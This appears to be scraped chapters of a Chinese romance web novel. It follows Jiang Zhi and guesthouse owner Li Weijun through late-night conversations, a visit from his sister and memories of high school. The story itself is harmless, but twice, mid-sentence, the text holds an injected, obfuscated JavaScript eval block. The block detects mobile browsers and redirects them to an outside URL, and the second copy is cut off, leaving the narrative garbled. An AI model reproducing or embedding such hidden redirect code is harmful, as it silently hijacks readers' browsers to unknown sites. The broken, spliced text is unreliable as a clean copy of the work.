“糊弄糊弄自己差不多就行了啊,该清醒还是要清醒,”这种事一般都是当局者最迷,旁观者最清,乔映谣提醒她道:“哪个人敢把自己的店交到一个普通朋友手里,还说她是自己人?先不琢磨李惟钧这么做是什么目的,你先问问你自己吧!是不是已经把你当成他们自己人了?不然你用得着这么尽心尽力给他的员工宣传网店?” 姜至握紧手机,没作声,刚才许久都没琢磨明白的事情,就这么被乔映谣的一通电话给戳破了。 她豁然清醒,不得不承认,对李惟钧的感觉确实上了一个层次,从普通朋友上升到了…… 不知道从什么时候起,她开始对李惟钧产生好奇感和探索欲。 姜至谈过恋爱,不会不清楚这代表什么。 对别人好奇就是产生感情的开始。 姜至决定重新把主动权拿回来。 分析完她,乔映谣转头又开始分析李惟钧,“一般来说,男人说女人是‘自己人’,有两种情况。第一种,他真的把你当最信任的人,觉得你很可靠,这种情况就是单纯的友情。” 李惟钧应该是信任她的吧,姜至坐在飘窗上,眼睛往外瞧着,自己都没发现她正在时刻关注着楼下有没有客人来住店,“嗯,第二种呢。” “第二种,就是他把你当亲近的人咯,但是这个‘亲近’的意思……你懂吧,说好听些就是有好感。” 民宿门口停了辆车,黑黢黢的路虎揽胜,是李惟钧的。姜至坐在楼上,远远看见李惟钧从车上下来。 电话里,乔映谣还在说:“但是呢,说得不好听点,就是他在撩你,这种情况的‘自己人’是爱情。” 姜至盯着副驾驶下来的窈窕女人,心想,李惟钧的‘自己人’到底是在说友情,还是在说爱情? 13.夏至前的春夜(1) 乔映谣的“剖析”简直一针见血,姜至随口调侃了句:“你一母胎solo对感情问题还挺懂。” “那是,小说没白看。”乔映谣说:“你真的别不当回事儿!既然决定去西途让自己放松放松,那身心都该放松啊,遇到合适的该谈就谈,我跟你讲,要是看不出来李惟钧什么心思,你可以试探试探。” 楼下的两个人进了小院,天棚把人影挡住,姜至收回目光,好笑道:“怎么试探?” “男人没一个好东西!” 姜至蹙眉:“……嗯?” “你来西途之前咱俩不是一起泡汤泉了吗,穿的泳衣,那天我把咱俩合照发到我朋友圈了,你可不知道,有好几个几百年没联系过的小学同学都来跟我嘘寒问暖,还有好几个男的跟我要你微信,我一看那意思就是想撩骚,”乔映谣恨恨总结:“所以男人,都具有劣根性!你穿件显身材的衣服,他们肯定屁颠屁颠上赶着来找你了!” 姜至还真的顺着她的话仔细思考了一下,但是总觉得这招对李惟钧没用。 李惟钧貌似不是乔映谣口中那样肤浅的人,他实在太不显山不露水了,看着也无欲无求,对女生是什么喜好完全看不出来。 “你试试!看他什么反应!我有一张你穿着吊带裙的照片,咱俩晚上遛弯的时候我拍的,简直是神图!腰细腿长屁股翘,别说男的了,我看了都把持不住!” 姜至回神,扯唇笑了,十分无语,“你说的这都哪到哪儿啊!没到那种地步好吧。” 手机震了下,图片发来了,那晚她穿了条酒红色的修身长裙,身体曲线勾勒得很明显,这裙子颜色显得她皮肤也很白,乔映谣怂恿她:“啧!试试又不亏。” 姜至还从没干过这种事,尤其一想到对象是李惟钧,更觉得荒谬了,心里一激灵,潦草说了句:“行了行了!快去看你小说吧,看完早点睡。” 挂断电话,姜至从飘窗上下来。 李惟钧给二楼的每个卧室都装了一层隔音墙,屋外正常说话的声音完全听不到,所以此时民宿很安静,没有任何说话声。 人走了吗? 车还在外头啊。 姜至出了门,又折回去拿了水杯下楼,客厅里没人,从李惟钧卧室里传来说话声,是他和一个女人。 身板端正,站得笔直,个子跟她差不多,留着一头利落的短发,打眼看过去给人一种英姿飒爽的感觉,气场很足,只是第一印象让人觉得似乎有些不好接触。 李惟钧看见姜至下来,扭头,“还没睡?我还以为你已经睡觉了。” “还没,有点渴,我下来接杯热水。” 两个女人好奇打量的视线在空中交汇,向她望过来的目光直白却不会让人不舒服,姜至在脑子里过了一遍那张脸,好眼熟,还没来得及张口,那女人便问:“你就是李惟钧高中同学吧。” 姜至一愣,点了点头看着李惟钧,他同她介绍:“这是我姐,方其澜。” 想起来了,上次在楼上见到的女人就是她,姜至笑起来,看着她漂亮的双眼,“您好,我叫姜至。” “别这么客气!”方其澜脸上同样挂着温和的笑,一边朝她走过来一边说:“我听我弟提起过你,不过我都不知道你居然在这儿住着,他也没告诉我一声。” 说着,瞟了李惟钧一眼,眼神里包含了太多东西。 李惟钧有些难搞的挠了挠眉弓,“姜至住楼上208。” 方其澜拉着姜至坐下,“最近实在太忙,没怎么来店里看过,也不知道你住的习不习惯。” 这姐弟俩性格反差好大,姜至没想到方其澜这么自来熟,她一张口,完全消弭了第一印象给人带来的距离感,很亲切,而且姐感超强,让她不自觉就变乖了,“习惯的,这里很好。” 方其澜眼珠一转,“哎,他一个大男人哪里会想的那么细致啊,咱俩要不加个微信吧,你需要什么东西或者有什么不方便跟他说的事就直接联系我……” “姐。”算盘珠子都快崩他脑门上了,李惟钧啧声,无奈噙着笑。 “干嘛?我们加下微信怎么了。”方其澜一脸大惊小怪,把姜至的水杯递给他:“去接杯水。” 又问她:“哎,要不要喝点儿东西?让他现做。” 姜至摆手:“没事,别麻烦他了,我喝点儿热水就行。” “这有什么麻烦的,他是老板嘛,不要跟他太客气。” 闻言姜至就笑:“没跟他客气。” “208是个单人床吧,”方其澜冲李惟钧扬声:“最近淡季人不多,你怎么不让姜至住一间大床房?” 姜至拦住她:“太浪费了,我就一个人,也租不了太久,而且他已经给了我很大优惠了。” 方其澜顺着话问:“打算住多久?” “起码得到七月份吧,我找了个短期的工作。” “离这儿远不远啊?” “还行,早上他去上班的时候能顺路送我。” 方其澜琢磨了琢磨,哪儿顺路了? 李惟钧往她俩面前放了热水,方其澜忍不住不笑,嘴都要咧到耳朵后面了,心里吃了糖一样甜丝丝的,“我怎么不知道你顺路呢?” 姜至觉得她话里有话,李惟钧没什么威胁性地扫她一眼:“去基地顺路,下班了,别查户口啊。” 意思是让她别问了,方其澜也没戳破他,“郑阿姨呢?睡觉了?” 李惟钧还没说话,姜至先开了口,“回家了,我怕她太晚回家不安全,店里我能盯着。” 说到这儿,姜至把菜单的事情跟李惟钧提了提,语气自然地像是这店里的第二个老板。 李惟钧说可以做,他明天就去打听打听定价问题,尽快把这个业务上架到平台上审核。 姜至也说她明天再完善一下订餐的规则和时间,不能让郑阿姨太累。 两个人旁若无人地商量完,才发现方其澜在一边儿肘着下巴看着他俩姨母笑,矜持了这么长时间实在矜持不住了,语气莫名地来了句:“老天爷开眼了!没见过我弟对女孩子这么温柔!你是头一个!” 姜至不好意思地扯唇,想要解释,又不知道从哪里开始,求助地朝李惟钧投去视线,结果他也不说话。 “郑阿姨那些平台也是你给弄的吧。” “嗯,账号能运营起来的话能比现在赚得多点儿。” 民宿门口有人在响喇叭,方其澜朝外看了眼,起身,“你们姐夫。有事就找我啊姜至,没事也能找我聊天,休息日的时候让他带你上我们家吃饭,一定要来。” 姜至应声,送她出门,临走前,方其澜瞧着这双登对的人,从车里伸出手捏了捏姜至的脸颊,一副“你赚大发了”的模样,感叹道:“老弟,你店里来了个宝,又聪明又漂亮又善良又温柔的宝。” 一直插不上话的李惟钧终于能开口了,点点头,“你说得对。” 姜至鲜少被人夸到害羞,但这次是真的被姐姐捏中了,夜色模糊了她红红的耳垂,“姐,路上小心。” 两个人进屋,姜至说:“你姐跟你一点也不像,我是说性格上。” “她很早就独立生活了。” 姜至沉默了会儿,又问:“你吃晚饭了吗?郑阿姨给你留了饭。” “还没,我先把卧室收拾好,刚才找东西翻乱了。” “那你先收拾,我去热一下。” 李惟钧下意识攥住了她的手腕,两个人都是一怔。 他指骨有茧,粗粝的触感让姜至痒痒的。 他似乎没意识到这样什么不妥,“我自己来就行。” “等你弄完都到什么时候了?现在都快十一点半了!” 姜至转身走去厨房,腕骨仍是热热的,她自己握上去,脉搏鼓动得好快。 李惟钧把房间整理好,坐到餐桌上,饭菜热好了,姜至正在整理郑阿姨微信发给她的菜谱,“你看,待会儿我设计一下排版,印出来挂到前台。” “麻烦吗?” “不麻烦,我大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096322|162792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学学过ps。”姜至轻咳一声,“不过,你都没仔细想想可行性就这么同意了?” “你肯定已经替我计划好了,这是好事。” 姜至撇撇嘴。 李惟钧被她的表情逗乐了,“姜至,我说你是一份子不是开玩笑,我希望你在这儿待的舒服,所以你想做什么都可以,但也别太操心。” 姜至陷入沉思,不得不说,这句话让她平静的心跳有些失衡,“你就这么相信我?不怕我给你赔钱啊?” “你不是那样的人。” 姜至瞥他:“切,说得跟你多了解我似的。” “你愿意替民宿琢磨,替阿姨琢磨,就证明你没那种坏心眼。” “……” 本以为他会承认“了解她”这件事的,但想听的话没听到,反被他用一句话四两拨千斤的还回来了。 姜至捧着脸,她身形虽然很瘦,但脸颊却是稍微有一点肉感的,双手一挤看上去肉乎乎,捏上去是什么感觉呢? 如果他捏上去,她的耳垂会不会像刚才一样红? 李惟钧放下筷子,注视着她的双眼,脸上挂着浅淡的笑,“这是什么眼神儿?” “观察你啊。”她很直白。 李惟钧明白她什么意思,幽幽道:“又想了解我了?别人了解一个人都是偷偷的,你是怼着脸来问我。” “为什么要拐弯抹角呢,有问题问不就好了吗,自己才最了解自己。” 好直接,是她这种直球的性子会说出来的话。 姜至想起刚才方其澜的话,说她是第一个被他温柔相待的女孩子,八卦地问他:“你喜欢什么类型的女孩子?” 话题转太快,太突兀,李惟钧没反应过来,噎了下,随后低下头喝汤,“都说了我没谈过恋爱。” “那你就从来没想过要找什么样子的女朋友?没吃过猪肉还没见过猪跑啊。” 李惟钧擦擦嘴唇,深沉的眼里含着笑,像是调侃:“这么想了解我的感情问题?” “冬子说来这儿住店的女客人里有好多都是冲你来的,而且长得都挺漂亮,各种类型的都有。” 民宿工作环境非常轻松自由,但李惟钧第一次萌生出上班期间闲聊该给高越冬扣工资的想法,“他净胡扯。” “我倒觉得他说的是真的哦。”她拿出手机给他看,“我第一次来盛夏将至住店就是因为看到了这个视频推荐,评论大半都在夸你。能得到这么多女客人的青睐,还说人家冬子胡扯?” 他想问,那得到你青睐了吗? 李惟钧撇开头,“那也不像他说的那么夸张。” “所以真的有人冲你来咯。” “不多。” “什么样的?”姜至略微在脑海里刻画了一下,“热情直球的?” “那不然就是温柔文静的?” 他都不回答,只一味地埋头吃饭。 “那看来你不喜欢这种类型的女生了,哇,你要求还真挺高的哎李惟钧。”姜至说着说着把自己说兴奋了,“但是也对啦,咱们现在这个年纪谈恋爱肯定不能像十几岁一样当成玩了,该考虑的事也得考虑,我之前刷到一个看手相的视频,人家说感情线长的话不好找对象,有可能一辈子就谈一段恋爱,初恋即结婚对象,很长情耶,我把那视频推送给你,你看一下呀,感觉很你很像哎!” “要是不准就当看乐子啦,不要过度迷信。” “喂李惟钧!我说这么多,你都没点反应?有没有听到啊!” 方其澜说她温柔。 哪里温柔了,在他面前明明就很话痨,叽叽喳喳的,也很八卦,总是充满了好奇心。 李惟钧抬眼,答非所问:“我喜欢这两种结合起来的。” “又热情又温柔?一个人同时拥有这两个矛盾的性格,好少见啊。” “少也有这样的。” “那你找到了可得好好珍惜,物以稀为贵呢。” 他点点头,“嗯,她应该是块宝。” 14.夏至前的春夜(2) 夏至前的春夜(2) 来了两个住店的女生,姜至帮她们办了入住,关了客厅的大灯留了盏落地灯,再回到餐桌旁,就看见李惟钧用一种“欣慰”的目光看着她笑。 哦,对了,刚才那俩女生喊她“老板”来着,而她完全没拒绝。 还没等她怼回去,李惟钧先说:“新员工找到了,后天要来面谈工资顺便熟悉下业务,跟冬子年纪差不多,但我四月初会比较忙,清明假期要离开西途几天,可能得麻烦你带他熟悉熟悉民宿了。” 她坐到他对面,“没问题,那你什么时候回来?” “四号晚上出发,先去趟清潭,五号在那儿待一天,六号回来跟我姐去老家,上次她过来就是为了拿老宅钥匙,回民宿估计就得到七号晚上了。” 她颇感惊讶,“你要去清潭啊。” “去看看我爸,每年清明我都回去跟他说说话。” 姜至无声哦了下,不知道该安慰他什么,但又觉得,他很强大,看上去也不难过,提及他父亲时没有那种强烈的悲伤,反倒很自然,至少现在不需要她那些多余的安慰。 她又问:“那你是不是要回秋谷?” “嗯。” “秋谷的苹果出名,高二的时候你爸爸给过我好几个,特别甜。” 李惟钧顿了两秒,说:“你还记得。” “当然啊,那次是开家长会嘛,他坐错位置正好坐到我那里了,还往我那张成绩单上签了字,你忘啦?” “没忘。”他摇了下头。 李惟钧垂眸掩下情绪,那张成绩单还在他这里,七年了,纸张已经泛黄,变软,不再有韧性。 写着姜至名字的墨迹却依旧清晰。 姜至说:“秋谷苹果确实很好吃,皮薄,果子脆甜,汁水也多。我们家逢年过节都特意跑到秋谷买。” 他指指咖啡厅里的一个箱子:“忘跟你说,那箱苹果就是从秋谷买的,你喜欢吃就拿。” “怪不得,你给我煮苹果热橙茶的时候我就觉得那苹果很好吃,”姜至脸上带了点儿惊喜,“什么时候买的?能网购吗?” “跟果农熟了,我出钱让他们定期给我寄,民宿的苹果一直没断过,以前我跟我爸也喜欢吃。” 姜至乐了,纳罕道:“那你一年光买苹果得花多少钱啊!这边都不是包邮区。” “也没多少,果农跟我爸认识,给了个友情价,高中毕业后我就没在清潭了,算是留个念想吧。”他走到吧台从箱子里拿了两个苹果洗净,坐在餐桌前切小块,“而且可能也是小时候吃习惯了?那会儿我没吃过几样水果,苹果是最常吃的。” 姜至接了他切好的苹果,一边嚼一边说:“这个不容易坏,我妈每次都给我提一大堆水果去学校,吃不完都放坏了。” 不知道想起什么,他勾了勾唇:“我还帮你往宿舍提过一次。” 姜至右腮还鼓着,不动了,脑海里迅速回忆一圈,“是吗?我怎么不记得。” 说完,脸色一愣,又觉得这么说不太好,含糊不清道:“时间太久,我记不清了,而且我不太爱记事。” 李惟钧也应和,淡声说:“是挺久的了。” “别光我吃啊,你也吃。”她把小碟子往他面前推了推,“你记忆力还挺好的哎,那都多少年前的事了。我印象里咱们俩高中都没怎么接触过。” 李惟钧眼含笑,看着她,“那是你觉得。” 这话给的太直白,姜至乍然对上他柔和的目光,心咚咚的跳起来了,但她没有撇开头。 李惟钧知道她不会记得,给了个台阶下:“可能时间太久,你忘了吧。” 姜至赞同地点了点头,苹果嚼得咯吱咯吱,忽然又说:“哎!不该吃的!晚上吃苹果是毒苹果!” 李惟钧说:“你这是造谣我们苹果。” 她哈哈大笑,结果乐极生悲,一吸气,被苹果肉呛了下嗓子,咳得直不起腰。 李惟钧坐近了些给她拍背,姜至眼泪都出来了,他抽了张纸巾给她擦眼角,姜至嗓子好痛,胳膊肘杵他,“都怨你!” “我怎么了?”他很冤。 姜至清了清嗓,好像还是有异物感,李惟钧顺着她的脊背,“别清了,越清越难受。” 她说:“吃东西的时候不要讲笑话!” 李惟钧很正经地答:“好,记住了。” 真是……认真的她都不知道要说什么好。 不过……这还不是最重要的,重要的是,此时她整个人都被他拢在怀里,被浓重的男性荷尔蒙气息包裹住。 他们靠得极近,她的肩膀压着他坚硬的胸膛,他的右手还停在她的背上,有一下没一下拍着,掌心宽厚,透过衣物能感受到男人灼热的体温,整片背脊似乎都要烧起来。 如此暧昧的距离和肢体接触让姜至的脸燥了,心也躁了,呼吸下意识变轻,稍稍侧头,先看见的却是李惟钧泛红的耳垂。 姜至头一次见有男人在她面前时耳垂红成这样,而且还是一个将近一米九的大男人,于是她一下子就来了兴趣。 “你很热吗?”她问。 李惟钧说:“嗯?” 姜至盯着他的耳垂,嫣红的嘴唇轻轻抿抿,“李惟钧,你耳朵好红。” 说着,一个凉凉的东西碰了下他滚烫的耳垂,是她的指腹。 一触即离。 耳朵很痒,李惟钧身子僵直,喉结滚了下,感觉整个脑袋立刻像火一样燎起来了。 气氛是什么时候变成这样的?他不知道她是故意还是无意。 掌心下是她柔软温热的身体,李惟钧闻到她头发上护发精油的香气,她刚刚流过泪,眼睛湿漉漉,鼻尖也有点红,搂住她那一刻他完全没想到会看到她这副模样,也完全不知道自己耳朵红了,一颗心在胸膛里横冲直撞地跳。 他攥紧了掌心的纸巾,松开她,揉了揉耳垂,告诉自己要稳住,“刚吃完晚饭,吃热了。” 姜至拖长嗓音,意味深长:“哦。” 李惟钧知道她是故意的了,往她张成“o”的嘴巴里塞了块苹果。 她也毫不客气,往他嘴里连塞了两块,手掌按在他下嘴唇和下巴上,“你这人怎么那么不禁逗呢!” 他无声地笑,捉住下巴上的手攥在掌心里。 却发现她手心也出了薄薄的汗。 两个人不再幼稚了,静下来,李惟钧也没再挪位置,就坐在她身边,一人一瓣吃光了所有苹果。 李惟钧看了眼表,零点了,“去睡觉吗?” 姜至却没有一点困意,“你困吗?” 他在昏黄的灯影中盯着她的侧脸,“想聊什么?” “后院是个小仓库吧,我前两天看见仓库里有很多折叠椅子,夏天可以弄一个露天小烧烤,这个你想过吗。” “没有,不过你这一说可以考虑试试,那些椅子是夏天在小院里摆的。”李惟钧靠在椅背上,噙着笑,悠悠说:“这两天还琢磨出什么给民宿挣钱的门道了?” 姜至白他一眼,没办法,她现在真的已经完全融入这间民宿了。 事已至此,来都来了。 她下巴朝小院点点:“我第一次来就想问了,那上面还摆着乐器,是小酒吧吗?折叠椅就往那儿摆的?” 李惟钧应声,“难得民谣,天暖和的时候人多,最热闹。” 姜至嘴里重复了一句这名字,双手掌根按在凳子上,胳膊抻直,“酒吧叫难得民谣?你好会起名字啊,那你会调酒弹曲子吗。” “会调酒,但曲子只会一首,《天使》。” “五月天的?” “等天气暖和了我弹给你听,不过不会唱,”他摊了摊手,“我五音不全,唱歌很难听。” 姜至捕捉到记忆里一个一闪而逝的片段,她愣了会儿,扭头问:“你高中是不是跟我一起唱过歌来着?还是我跟咱们班的谁啊?参加的活动太多,我真记不清了。” 李惟钧默了默,喉头翻滚。 “是我。” 他抬眼,“但不是唱歌,是练英文戏剧,里面有一段需要我唱歌。” 姜至恍然,“啊!咱们俩还一起排练过英文戏剧呢。” “那是英语老师为了让我锻炼口语才安排你来教我的。”李惟钧神色无奈,朝她歪头,告状似的说:“你当时教烦了还骂我。” “怎么可能!”姜至猛地坐直身子,瞪大了双眼,“我吗?你说我?我从来没骂过人!我骂你什么?你别造谣!” 李惟钧瞧着她生动的表情,撇了撇头,嘴角勾起细微的弧度,温声说:“你就是骂了,自己想想吧。” “……”姜至不搭理他了,她怎么可能骂过他呢?真没印象。 “我高中脾气很好的,现在也很好啊。”她跟他嘟囔。 李惟钧不吭声,姜至眉毛一拧,抬手拍他胳膊,“爱说不说!” 刚才谁说自己脾气好来着?李惟钧笑意更浓,也没生气,搓了把她拍的地方。 姜至眼神乱了,匆匆从他脸上挪开视线,发觉无论她怎么样,李惟钧在她面前的表情永远都是笑眯眯的,他高中有这么爱笑吗? 她后知后觉意识到刚才冲他使了小性子,有点尴尬,转移话题:“这间民宿为什么叫盛夏将至啊,是从以前你妈妈弄旅馆就叫这个名字吗?” 身后一时没人回应,她又扭头,对上李惟钧在黑夜里乌亮的眼,“是我起的,我很喜欢夏天。” 顿了下,又接话:“但又不太喜欢夏天。” “什么意思?”姜至懵了,“到底是喜欢还是不喜欢?” 隔了会儿,李惟钧起身,大掌在她后脑勺揉了下,随后收拾碗筷去厨房,“喜欢的,快去睡吧,晚安。” …… 新来的员工叫赵理明,学管理的,也是很活泼的男生,比高越冬还要大一岁,李惟钧按着他的课表给他排了三个夜班,谈完工资他很满意,就说先在民宿试两天。 姜至下了班带他在店里转了一圈,郑阿姨恰好做好晚饭招呼他们吃,刚吃了没两口,有客人点餐,郑阿姨只好放下筷子赶紧去做,赵理明便问:“怎么不弄一下拼餐?” “拼餐?”姜至来了兴趣,“讲讲。” “我也是在别的店民宿里看到的,可以让阿姨随便做,住店的客人提前来前台报名,有想吃的就交个饭钱一起吃,这样的话就不用郑阿姨再单独做了,怪麻烦的连饭都吃不好。” “对啊!我们都没想到这茬,想窄了。” 姜至立马拿起手机,本打算跟李惟钧说的,但转念一想,还是建了个群聊,把他们所有人邀进了群里,让赵理明自己说。 她琢磨要给群聊起个什么名字,总不能输给李惟钧吧,他挺会起名字的。 但想过来想过去,发现自己实在词穷,干脆就起了个: 有福同享 高越冬在群里说:【这群名!透露出一股朴素的俗】 李惟钧说:【有福你退群。】 高越冬:【……】 姜至发了句:【有钱一起赚,除了你@高越冬】 高越冬:【我跟你们俩雌雄双煞拼了】 姜至纠正:【是雌雄双侠】 高越冬:【……】 吃过晚饭,赵理明有晚课得提前走一会儿,半路上打过来电话问姜至:“我忘了问钧哥放假的事儿,清明放假吗,假期的时候正是客流量多的时候,好多民宿酒店都不放。” 姜至说:“我不回家,可以在店里盯着,你要有事就不用来了。” 郑阿姨回答他:“放的,一般情况下都放,只有清明节的时候他不在店里得让人来盯着。” 放下电话,姜至问郑阿姨,“前几年一直都是冬子在这儿留着吗?” “对,我跟小李都不在,我得回家给我爱人烧纸,小李得回家给他妈烧纸。” 这还是第一次听人谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“西部计划我已经报上名了,五一放假就回家一趟放衣服。” “后天清明节不回来?” “我回去就得花一天时间,回来还得花一天,时间根本就不够嘛。” 任丽娟轻蹙眉:“那你大包小包回来多麻烦啊,寄回来吧。” “那有什么的,提两个大箱子的事。而且你知道快递费多贵吗!这边网购都不包邮的!” 是她离开家太久了吗,任丽娟总觉得闺女真长大了,居然都开始规划钱了,她以前都没这种概念,“行了吧,长途跋涉的还得提箱子,累不累啊,我给你报销快递费,寄过来吧。” 姜至嘴角克制不住地扬起来,“你说的啊报销!那我明天早上就去快递公司寄。” 第二天一大早,姜至行动迅速,打包了所有穿不了的厚衣服,把行李袋装的满满的,提着它下楼时,李惟钧愣在原地,脑子空白了一会儿,听见她说要寄衣服回家,才把心放下。 但又想起来她总归是要走的,她不属于西途,也不属于盛夏将至。 于是刚刚放下去的心又提了上来。 姜至在手机上看了眼快递费,虽说是任丽娟报销,但还是感觉肉疼,嘟囔着为什么西途快递不包邮呢?这对西途人民来说简直太不方便了! 李惟钧一直没说话,犹豫片刻,才问:“打算在西途留多久?” 姜至抬起头,怔了怔,不知道他怎么会突然问这个,“合同是一年一签嘛,最多就待三年。其实我还没有想好回清潭干什么,考公考编是真的有些没信心了,你说我从小到大成绩都不差啊,但不知道为什么考公考编一直失败,我很怕我回去还是考不上,先在这里待一阵子再说吧,没准走之前我就想好要干什么了。” 最少一年,最多三年。 李惟钧忽然说不出话了,心脏像是被紧紧攥住。 姜至喟叹道:“哎,在这儿待的时间久了,一说要走还有点舍不得呢。” 她看着窗外,春天要来了,树木在抽新芽,嫩绿色的,一片生机,她对这个地方印象很好很好,尤其是… 转头,李惟钧笔直地盯着前路,侧脸线条格外硬朗。 但不知道为什么,车里有些低压。 “我走之后应该就没什么机会再来西途了,能见到你……”她顿住,又接上,“你的民宿,还有郑阿姨的机会也就少了。” 李惟钧真的说不出什么话,这是他第一次和姜至在一起时冷场,好久之后,才沉声说出一句:“还会再见的。” “那你什么时候回清潭可一定要告诉我啊。咱们班每年过年的时候也组织聚会呢,你知道吗?” “知道,窦维说过。” “那你怎么不来?” “跟他们也不是很熟。” “你跟后排那几个男生的关系不是挺好的吗。” “毕业之后就没怎么联系了。” “那你还记得其他高中同学么?” “男生还行,”李惟钧想了想,“女生没几个。” “我算一个。”姜至食指比了个1,“乔映谣你还记得吗,咱们仨高一是一个班的,高二分文理之后她去文科班了,咱们俩在理科班。” 他当然记得,“跟你玩特别好的那个,留着短头发,你们俩形影不离。” “哇,你都知道我们俩形影不离,那看来也可以啊,也记得几个女生,周昱然呢?” 他摇摇头:“记不太清了。” 姜至实在觉得震惊,“啊?周昱然是咱们理科11班班长啊!” 他恍然大悟,扯扯唇,“我一直都叫她班长,没叫过她名字。” 姜至:“……” “那些人在毕业后都没联系了,我现在唯一有联系的就是你。” 她终归要离开西途,那他把握好当下就行了,现在说未来还太遥远,一切都是未知数,李惟钧没有再想乱七八糟的东西,他把自己杂乱的思绪全部清空,只留下姜至,说出了他此刻最想对她说的话:“从高中到现在,我只跟你最熟,唯一记得最深的就是你,姜至。” 15.夏至前的春夜(3) 夏至前的春夜(2) 最开始,李惟钧其实也不大清楚什么是“真正的熟悉”。 中学时期,他是不太爱讲话的,能和他聊到一起去的人不多,而且全都是男生,女孩子没几个。 女孩子接触过他就知道了,他很无趣,李惟钧自己也这样想。 高中刚开学要军训七天,统一穿学校发的迷彩服,很多同学吐槽军训服肥肥大大,巨丑。 当然,也有同学说,有人穿着就好看啊,脸在江山在。 那几天有些女同学经过他面前会小声跟旁边的朋友说几句话,或者是多看他几眼,眼神中写着什么话不言而喻,他只当作没看见。 也有大胆的女同学来跟他说话,有自己班的也有其他班的,但他不认识,大多数时候都是礼貌地回一句,然后就没有什么多余的交流了,她们得不到预想中的回应,也觉得没劲,很快也就不再来他面前了。 因为他性格实在冷淡。 跟他相反,姜至身边总是围着很多人,但她并不是想要出风头,也从不刻意去做什么来吸引别人的注意力,而是本身性子就热络,而且,她确实,实在太吸引人。 李惟钧不得不承认这一点。 然而他们并无交集。 唯一能称得上的交集,可能也就是军训汇演当天,她是教官选出来的女生里面的军训标兵,而他是男生里面的标兵,他们俩和其他班的军训标兵一起,举着奖状在主席台上拍了张大合照。 但他和她也并没有交流。 正式开始上课后,或许是得益于那张军训标兵奖状,班主任首先就把他和姜至选进了班干部团队里,他是副班长,姜至是团支书。 当时他是班里中考成绩第三名,姜至是第一名,他们俩是班主任眼里的好宝宝。 在班干部团队完全组建起来之前,一直都是他们俩负责班里的事,李惟钧在班里熟悉的人又多了一个,相较于其他女同学,姜至已经是他接触最多的一个了。 他也觉得姜至是好宝宝,认真,耐心,周到,遵规守纪。 但他从没见过姜至这样的好宝宝。 开学两周,一切都开始步入正轨了,大家也都慢慢了解了寄宿学校的学习和生活节奏,开始彼此熟悉起来,自然而然的,也就有人开始放纵起来了。 这个人就是姜至。 某个周五早自习,李惟钧在楼道里检查完其他班纪律回到座位上,刚要拉开椅子坐下,就发现座位旁边鬼鬼祟祟趴了个人。 他的男同桌去哪儿了? 李惟钧动作一滞,迟疑地拉开椅子,坐下。 他看了这个背影半天,又抬头往教室前面找了圈儿,发现姜至的位置换了人,于是轻咳了下,闻声,姜至偷偷摸摸从臂弯里抬起头,倒吸了口气,“吓我一跳,你回来怎么都不出声的。” 刚刚出了吗不是,李惟钧端详着她的脸,问她:“你不舒服?” 姜至把食指竖起来放在嘴唇前,嘴巴嘟起来,稍稍直了直身子,李惟钧这才看见她刚才用身子挡着的掉渣饼。 李惟钧:“……” 她怎么敢的。 见李惟钧盯着她手里的饼,似乎被她的操作吓住了,眉眼间还有点不可置信,姜至趁着大家都在背课文,朝他勾了勾手。 李惟钧犹豫了一秒,脊背弯下来,朝她凑近,姜至解释道:“你坐最后一排,而且旁边这位置是监控死角,我借用一下,已经跟你同桌商量好换位置啦。今天早上我在教室里补觉了,没去食堂吃饭,这会儿实在饿得肚子疼,忍不了了。” 李惟钧不知道该说什么,仍然是弯着腰的动作,“你不怕被发现?” “周五不是你检查年级纪律吗!咱们都自己人呢!你肯定不会记我名字啊。”姜至跟他确认了一遍,“你不会记我吧。” 这肯定不能记啊,他缓缓摇头,“……我说老师。” “今天是四班班主任检查,他超级松弛,一般都是在早自习刚打铃的时候来转悠一圈,然后就再也不来了。” 李惟钧彻底服了,对姜至的操作感到出乎意料,对她的印象也复杂了。 但两只眼却不自觉地在前后门来回扫了圈,确认没老师检查,正要收回目光时,后知后觉反应过来,他在干嘛呢? 他堂堂一副班长,居然在包庇同学,而且包庇的还是团支书。 姜至猫着腰咬了一大口饼,这掉渣饼刚出炉的时候最好吃,饼边是焦焦脆脆的,咬下去很松软,但一凉下来,饼就变劲道了,而且乔映谣还给她往里夹了很多东西,生菜,鸡柳,鸡蛋,烤肠…… 嘴巴好干,有点儿噎,想喝水。 李惟钧正在低头默默背书,目不斜视,语文早读留了预习任务,还要背诵一小段课文,但他怎么也静不下心来,看着那些文字半天,却一个字也没往脑子里装。 早自习时间不多了,李惟钧干脆闭上眼。 刚闭上,旁边的人戳了戳他胳膊,两下,很轻,胳膊肘有点痒,他又睁开眼,姜至朝他晃了晃水杯,“可以帮我接杯水吗?饮水机在你那边。” 说着,两只手握住杯子比划了比划,眼睛弯起来,瞳仁亮亮的,“谢谢谢谢!” 他接过水杯,根本没有拒绝的余地。 原来姜至不只是传统意义上的好学生,打破了李惟钧思维里对“好学生”的固有印象,好学生也有调皮捣蛋的时候。 有了开头就有二三,姜至在很多个早自习都来最后一排偷偷吃早饭,李惟钧已经从最开始的震惊进化到后来的见怪不怪,他的心情也从最开始的谴责自己作为副班长不应该包庇姜至同学不遵守早自习纪律,变成了后来的……吃就吃吧,反正没被抓到,除了他的早自习背诵速度会变慢一点点之外,也并不影响什么。 甚至,周四的晚上他在睡觉前会下意识地想,明天周五了,她会不会来呢? 偶尔有几次,姜至似乎也觉得这样有点过意不去,但她消除“不安”的方法很奇特,是贿.赂副班长,企图拉他一起下水,一个人干坏事固然有点胆战心惊,但是两个人一起干就不一样了,可是没想到副班长刚正不阿,拒绝了她的早饭邀请。 